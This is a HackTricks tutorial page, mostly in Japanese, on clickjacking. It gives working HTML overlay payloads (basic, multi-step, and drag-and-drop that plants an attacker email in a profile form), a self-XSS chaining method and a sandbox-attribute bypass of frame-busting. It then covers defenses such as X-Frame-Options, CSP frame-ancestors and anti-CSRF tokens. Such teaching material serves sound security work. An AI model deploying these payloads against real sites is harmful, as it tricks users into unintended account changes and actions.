14 KiB
Clickjacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
What is Clickjacking
クリックジャッキング攻撃では、ユーザーが見えないか、別の要素に偽装された要素をウェブページ上でクリックするように騙されます。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または製品のオンライン購入などが含まれます。
Prepopulate forms trick
時には、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することができます。
Populate form with Drag&Drop
ユーザーにフォームを埋めてもらいたいが、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない場合、ユーザーにDrag&Dropしてもらうように頼むことができます。これにより、あなたが制御するデータが書き込まれます。これはこの例のように行えます。
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
マルチステップペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
ドラッグ&ドロップ + クリックペイロード
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
もしあなたがユーザーがクリックする必要があるXSS攻撃を特定し、そのページがクリックジャッキングに脆弱であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。
例:
あなたはアカウントのいくつかのプライベートな詳細に自己XSSを見つけました(あなたしか設定や読み取りができない詳細)。これらの詳細を設定するためのフォームがクリックジャッキングに脆弱であり、GETパラメータでフォームを事前入力することができます。
__攻撃者は、そのページに対してクリックジャッキング攻撃を準備し、XSSペイロードでフォームを事前入力し、ユーザーをフォームを送信させるように騙すことができます。したがって、フォームが送信されると、値が変更され、ユーザーはXSSを実行することになります。
Clickjackingを軽減するための戦略
クライアントサイドの防御
クライアントサイドで実行されるスクリプトは、クリックジャッキングを防ぐためのアクションを実行できます:
- アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
- すべてのフレームを表示可能にする。
- 見えないフレームへのクリックを防ぐ。
- 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。
しかし、これらのフレームバスティングスクリプトは回避される可能性があります:
- ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptサポートの欠如に基づいてこれらのスクリプトをブロックする場合があります。
- HTML5 iframe
sandbox
属性: 攻撃者は、allow-forms
またはallow-scripts
の値を持つsandbox
属性を設定することでフレームバスタースクリプトを無効化できますが、allow-top-navigation
は含まれていません。これにより、iframeが自分がトップウィンドウであるかどうかを確認できなくなります。
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
The allow-forms
と allow-scripts
の値は、iframe内でのアクションを有効にし、トップレベルのナビゲーションを無効にします。ターゲットサイトの意図した機能を確保するために、攻撃の種類に応じて allow-same-origin
や allow-modals
などの追加の権限が必要になる場合があります。ブラウザのコンソールメッセージは、どの権限を許可するかの指針となります。
サーバーサイドの防御
X-Frame-Options
X-Frame-Options
HTTPレスポンスヘッダーは、ブラウザにページを <frame>
または <iframe>
でレンダリングする正当性について通知し、Clickjackingを防ぐのに役立ちます:
X-Frame-Options: deny
- どのドメインもコンテンツをフレーム化できません。X-Frame-Options: sameorigin
- 現在のサイトのみがコンテンツをフレーム化できます。X-Frame-Options: allow-from https://trusted.com
- 指定された 'uri' のみがページをフレーム化できます。- 制限に注意してください:ブラウザがこのディレクティブをサポートしていない場合、機能しない可能性があります。一部のブラウザはCSPのframe-ancestorsディレクティブを優先します。
Content Security Policy (CSP) frame-ancestorsディレクティブ
CSPのframe-ancestors
ディレクティブは、Clickjacking保護のための推奨方法です:
frame-ancestors 'none'
-X-Frame-Options: deny
と同様です。frame-ancestors 'self'
-X-Frame-Options: sameorigin
と同様です。frame-ancestors trusted.com
-X-Frame-Options: allow-from
と同様です。
例えば、以下のCSPは同じドメインからのフレーミングのみを許可します:
Content-Security-Policy: frame-ancestors 'self';
さらなる詳細や複雑な例については、frame-ancestors CSPドキュメントやMozillaのCSP frame-ancestorsドキュメントを参照してください。
child-src
と frame-src
を使用したContent Security Policy (CSP)
**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可すべきソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。
frame-src
ディレクティブ
- フレームの有効なソースを定義します。
default-src
ディレクティブよりも具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームを許可します。
child-src
ディレクティブ
- ウェブワーカーとフレームの有効なソースを設定するためにCSPレベル2で導入されました。
- frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームとワーカーを許可します。
使用上の注意:
- 非推奨: child-src は frame-src と worker-src に置き換えられています。
- フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。
- 厳格なソース定義: 悪用を防ぐために、指示に信頼できるソースのみを含めてください。
JavaScript フレームブレイキングスクリプト
完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレームにされるのを防ぐことができます。例:
if (top !== self) {
top.location = self.location;
}
Anti-CSRFトークンの使用
- トークン検証: ウェブアプリケーションでanti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われていることを確認し、Clickjackedページを通じて行われていないことを保証します。
参考文献
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickestを使用して、世界で最も高度なコミュニティツールによって駆動されるワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。